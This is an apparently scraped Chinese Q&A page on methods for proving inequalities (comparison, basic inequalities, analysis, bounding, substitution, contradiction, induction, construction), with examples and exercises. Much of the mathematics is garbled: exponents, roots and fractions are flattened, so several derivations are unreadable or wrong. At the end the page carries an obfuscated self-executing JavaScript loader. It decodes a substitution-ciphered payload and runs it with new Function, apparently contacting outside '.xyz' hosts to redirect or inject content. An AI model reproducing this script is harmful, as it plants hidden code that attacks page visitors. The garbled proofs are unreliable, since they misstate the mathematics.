推荐回答(4个)
比较法
比较法是证明不等式的最基本方法,具体有"作差"比较和"作商"比较两种。基本思想是把难于比较的式子变成其差与0比较大小或其商与1比较大小。当求证的不等式两端是分项式(或分式)时,常用作差比较,当求证的不等式两端是乘积形式(或幂指数式时常用作商比较)
例1已知a+b≥0,求证:a3+b3≥a2b+ab2
分析:由题目观察知用"作差"比较,然后提取公因式,结合a+b≥0来说明作差后的正或负,从而达到证明不等式的目的,步骤是10作差20变形整理30判断差式的正负。
∵(a3+b3)(a2b+ab2)
=a2(a-b)-b2(a-b)
=(a-b)(a2-b2)
证明: =(a-b)2(a+b)
又∵(a-b)2≥0a+b≥0
∴(a-b)2(a+b)≥0
即a3+b3≥a2b+ab2
例2 设a、b∈R+,且a≠b,求证:aabb>abba
分析:由求证的不等式可知,a、b具有轮换对称性,因此可在设a>b>0的前提下用作商比较法,作商后同"1"比较大小,从而达到证明目的,步骤是:10作商20商形整理30判断为与1的大小
证明:由a、b的对称性,不妨解a>b>0则
aabbabba=aa-bbb-a=(ab)a-b
∵ab0,∴ab1,a-b0
∴(ab)a-b(ab)0=1即aabbabba>1,又abba>0∴aabb>abba
练习1 已知a、b∈R+,n∈N,求证(a+b)(an+bn)≤2(an+1+bn+1)
基本不等式法
利用基本不等式及其变式证明不等式是常用的方法,常用的基本不等式及 变形有:
(1)若a、b∈R,则a2+b2≥2ab(当且仅当a=b时,取等号)
(2)若a、b∈R+,则a+b≥ 2ab (当且仅当a=b时,取等号)
(3)若a、b同号,则 ba+ab≥2(当且仅当a=b时,取等号)
例3 若a、b∈R, |a|≤1,|b|≤1则a1-b2+b1-a2≤1
分析:通过观察可直接套用: xy≤x2+y22
证明: ∵a1-b2b1-a2≤a2+(1-b2)2+b2-(1-a2)2=1
∴b1-a2+a1-b2≤1,当且仅当a1+b2=1时,等号成立
练习2:若 ab0,证明a+1(a-b)b≥3
综合法
综合法就是从已知或已证明过的不等式出发,根据不等式性质推算出要证明不等式。
例4,设 a0,b0,a+b=1,证明:(a+1a)2+(B+1b)2≥252
证明:∵ a0,b0,a+b=1
∴ab≤14或1ab≥4
左边=4+(a2+b2)=1a2+1b2=4+[(a+b)2-2ab]+(a+b)2-2aba2b2
=4+(1-2ab)+1-2aba2b2≥4+(1-12)+8=252
练习3:已知a、b、c为正数,n是正整数,且f (n)=1gan+bn+cn3
求证:2f(n)≤f(2n)
分析法
从理论入手,寻找命题成立的充分条件,一直到这个条件是可以证明或已经证明的不等式时,便可推出原不等式成立,这种方法称为分析法。
例5:已知a0,b0,2ca+b,求证:c-c2-ab<a<c+c2-ab
分析:观察求证式为一个连锁不等式,不易用比较法,又据观察求证式等价于 |a-c|<c2-ab也不适用基本不等式法,用分析法较合适。
要证c-c2-ab<a<c+c2-ab
只需证-c2-ab<a-c<c2-ab
证明: 即证 |a-c|<c2-ab
即证 (a-c)2<c2-ab
即证 a2-2ac<-ab
∵a>0,∴即要证 a-2c<-b 即需证2+b<2c,即为已知
∴ 不等式成立
练习4:已知a∈R且a≠1,求证:3(1+a2+a4)>(1+a+a2)2
放缩法
放缩法是在证明不等式时,把不等式的一边适当放大或缩小,利用不等式的传递性来证明不等式,是证明不等式的重要方法,技巧性较强常用技巧有:(1)舍去一些正项(或负项),(2)在和或积中换大(或换小)某些项,(3)扩大(或缩小)分式的分子(或分母)等。
例6:已知a、b、c、d都是正数
求证: 1<ba+b+c+cb+c+d+dc+d+a+ad+a+b<2
分析:观察式子特点,若将4个分式商为同分母,问题可解决,要商同分母除通分外,还可用放缩法,但通分太麻烦,故用放编法。
证明:∵ba+b+c+cb+c+d+dc+d+a+ad+a+b>ba+b+c+d+ca+b+c+d+da+b+c+d+aa+b+c+d=a+b+c+da+b+c+d=1
又由ab<a+mb+m(0<a<b,m>0)可得:ba+b+c<b+da+b+c+dcb+c+d<c+aa+b+c+ddc+d+a<d+bc+d+a+dad+a+b<a+ca+b+c+d
∴ ba+b+c+cb+c+d+dc+d+a+ad+a+b<b+da+b+c+d+c+aa+b+c+d+d+bc+d+a+d+a+ca+b+c+d=2(a+b+c+c)a+b+c+d=2
综上知:1<ba+b+c+cb+c+d+dc+d+a+ad+a+b<2
练习5:已知:a<2,求证:loga(a+1)<1
6换元法
换元法是许多实际问题解决中可以起到化难为易,化繁为简的作用,有些问题直接证明较为困难,若通过换元的思想与方法去解就很方便,常用于条件不等式的证明,常见的是三角换元。
(1)三角换元:
是一种常用的换元方法,在解代数问题时,使用适当的三角函数进行换元,把代数问题转化成三角问题,充分利用三角函数的性质去解决问题。
例7、若x、y∈R+,且 x-y=1 A=(x-1y)(y+1y)。1x,求证0<A<1
证明: ∵x,y∈R+, 且x-y=1,x=secθ , y=tanθ ,(0<θ<xy )
∴ A=(secθ-1secθ(tanθ+1tanθ·1sec2θ
=1-cos2θcosθ·s2m2θ+cos2θcosθ·s2mθ·cos2θ
=sinθ
∵0<θ<x2,∴ 0<s2mθ <1因此0<A<1
复习6:已知1≤x2+y2≤2,求证:12 ≤x2-xy+y2≤3
(2)比值换元:
对于在已知条件中含有若干个等比式的问题,往往可先设一个辅助未知数表示这个比值,然后代入求证式,即可。
例8:已知 x-1=y+12=z-23,求证:x2+y2+z2≥4314
证明:设x-1=y+12=z-23=k
于是x=k+1,y=zk-1,z=3k+2
把上式代入x2+y2+z2=(k+1)2(2k-1)2+(3k+2)2
=14(k+514)2+4314≥4314
反证法
有些不等式从正面证如果不好说清楚,可以考虑反证法,即先否定结论不成立,然后依据已知条件以及有关的定义、定理、公理,逐步推导出与定义、定理、公理或已知条件等相矛盾或自相矛盾的结论,从而肯定原有结论是正确的,凡是"至少"、"唯一"或含有否定词的命题,适宜用反证法。
例9:已知p3+q3=2,求证:p+q≤2
分析:本题已知为p、q的三次 ,而结论中只有一次 ,应考虑到用术立方根,同时用放缩法,很难得证,故考虑用反证法。
证明:解设p+q>2,那么p>2-q
∴p3>(2-q)3=8-12q+6q2-q3
将p3+q3 =2,代入得 6q2-12q+6<0
即6(q-1)2<0 由此得出矛盾 ∴p+q≤2
练习7:已知a+b+c>0,ab+bc+ac>0,abc>0.
求证:a>0,b>0,c>0
数学归纳法
与自然数n有关的不等式,通常考虑用数学归纳法来证明。用数学归纳法证题时的两个步骤缺一不可。
例10:设n∈N,且n>1,求证: (1+13)(1+15)…(1+12n-1)>2n+12
分析:观察求证式与n有关,可采用数学归纳法
证明:(1)当n=2时,左= 43,右=52
∵43>52∴不等式成立
(2)假设n=k(k≥2,k∈n)时不等式成立,即(1+13)(1+15)…(1+12k-1)>2k+12
那么当n=k+1时,(1+13)(1+15)…(1+12k-1)(1+12k+1)>2k+12·(1+12k+1)①
要证①式左边> 2k+32,只要证2k+12·
2k+22k+1>2k+32②
对于②〈二〉2k+2> 2k+1·2k+3
〈二〉(2k+2)2> (2k+1)(2k+3)
〈二〉4k2+8k+4> 4k2+8k+3
〈二〉4>3 ③
∵③成立 ∴②成立,即当n=k+1时,原不等式成立
由(1)(2)证明可知,对一切n≥2(n∈N),原不等式成立
练习8:已知n∈N,且n>1,求证: 1n+1+1n+2+…+12n> 1324
构造法
根据求证不等式的具体结构所证,通过构造函数、数列、合数和图形等,达到证明的目的,这种方法则叫构造法。
1构造函数法
例11:证明不等式:x1-2x <x2 (x≠0)
证明:设f(x)= x1-2x- x2 (x≠0)
∵f (-x)
=-x1-2-x+x2x-2x2x-1+x2
=x1-2x- [1-(1-2x)]+x2=x1-2x-x+x2
=f(x)
∴f(x)的图像表示y轴对称
∵当x>0时,1-2x<0 ,故f(x)<0
∴当x<0时,据图像的对称性知f(x)<0
∴当x≠0时,恒有f(x)<0 即x1-2x<x2(x≠0)
练习9:已知a>b,2b>a+c,求证:b- b2-ab<a<b+b2-ab
2构造图形法
例12:若f(x)=1+x2 ,a≠b,则|f(x)-f(b)|< |a-b|
分析:由1+x2 的结构可知这是直角坐标平面上两点A(1,x),0(0,0)的距离即 1+x2 =(1-0)2+(x-0)2
于设A(1,a),B(1,b)则0A= 1+a2
不等式的证明方法
(1)比较法:作差比较: .
作差比较的步骤:
①作差:对要比较大小的两个数(或式)作差.
②变形:对差进行因式分解或配方成几个数(或式)的完全平方和.
③判断差的符号:结合变形的结果及题设条件判断差的符号.
注意:若两个正数作差比较有困难,可以通过它们的平方差来比较大小.
(2)综合法:由因导果.
(3)分析法:执果索因.基本步骤:要证……只需证……,只需证……
①“分析法”证题的理论依据:寻找结论成立的充分条件或者是充要条件.
②“分析法”证题是一个非常好的方法,但是书写不是太方便,所以我们可以利用分析法寻找证题的途径,然后用“综合法”进行表达.
(4)反证法:正难则反.
(5)放缩法:将不等式一侧适当的放大或缩小以达证题目的.
放缩法的方法有:
①添加或舍去一些项,如: ; ;
②将分子或分母放大(或缩小);
③利用基本不等式,如: ;;
(6)换元法:换元的目的就是减少不等式中变量,以使问题化难为易,化繁为简,常用的换元有三角换元和代数换元.
如:已知 ,可设 ;
已知 ,可设 ( );
已知 ,可设 ;
已知 ,可设 ;
(7)构造法:通过构造函数、方程、数列、向量或不等式来证明不等式;
证明不等式的方法灵活多样,但比较法、综合法、分析法和数学归纳法仍是证明不等式的最基本方法.要依据题设、题断的结构特点、内在联系,选择适当的证明方法,要熟悉各种证法中的推理思维,并掌握相应的步骤,技巧和语言特点.
⑻数学归纳法法:数学归纳法法证明不等式在数学归纳法中专门研究.
g3.1039 不等式证明方法(二)
一、知识回顾
1、反证法:从否定结论出发,经过逻辑推理,导出矛盾,从而肯定原结论的正确;
2、放缩法:欲证 ,可通过适当放大或缩小,借助一个或多个中间量使得 (或 ),常用的放缩方式:
舍去或加上一些项;
; ;
3、换元法:三角换元、代数换元;
4、判别式法
二、基本训练:
1、实数 、 、 不全为零的条件为( )
、 、 全不为零 、 、 中至多只有一个为零
、 、 只有一个为零 、 、 中至少有一个不为零
2、已知 , ,则有( )
3、为已知 ,则 的取值范围是 。
4、设 , ,则 、 大小关系为 。
5、 实数 ,则 的取值范围是 。
三、例题分析:
例1、x>0,y>0,求证:
例2、函数 ,求证:
例3、 (三角换元法)
例4、求证: (判别式法)
例5、若a,b,c都是小于1的正数,求证: .
(反证法)
例6、求证: (放缩法)
例7、设二次函数 ,若函数 的图象与直线 和 均无公共点。
(1) 求证:
(2) 求证:对于一切实数 恒有
四、课堂小结:
1、凡是“至少”、“唯一”或含有否定词的命题适宜用反证法.
2、换元法(主要指三角代换法)多用于条件不等式的证明,此法若运用恰当,可沟通三角与代数的联系,将复杂的代数问题转化成简单的三角问题.
3、含有两上字母的不等式,若可化成一边为零,而另一边是关于某字母的二次式时,这时可考虑判别式法,并注意根的取值范围和题目的限制条件.
4、有些不等式若恰当地运用放缩法可以很快得证,放缩时要看准目标,做到有的放矢,注意放缩适度.
五、同步练习g3.1039 不等式证明方法(二)
1、若 且 ,则 的取值范围是( )
2、已知 ,则下列各式中成立的是( )
3、设,y∈R,且x +y =4,则 的最大值为( )
A) 2- B)2+2 C) -2 D)
4、若f(n)= -n,g(n)=n- ,φ(n)= ,则f(n),g(n),ф(n)的大小顺序为____________.
5、设a,b是两个实数,给出下列条件:①a+b>1; ②a+b=2;③a+b>2;④a +b >2;⑤ab>1,其中能推出:“a、b中至少有一个实数大于1”的条件是____________.
6、a、b、c∈R-,a≠b,求证:
7、a>b>c,求证:
(提示:换元法,令a-b=m∈R+,b-c=n∈R+)
8、若 ,求证:
9、已知 ,求证: 中至少有一个不少于 。
10、已知 、 、 是整数且 ,试证明:
(1) ;
(2) .
答案:DCB 4、g(n)>ф(n)> f(n) 5、③
最基本的就是作差比较,另外还有作商的。
此外还有用数学归纳法(如琴生不等式的一般形式)
放缩法,调整法(如的排序不等式),还有就是直接代公式。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();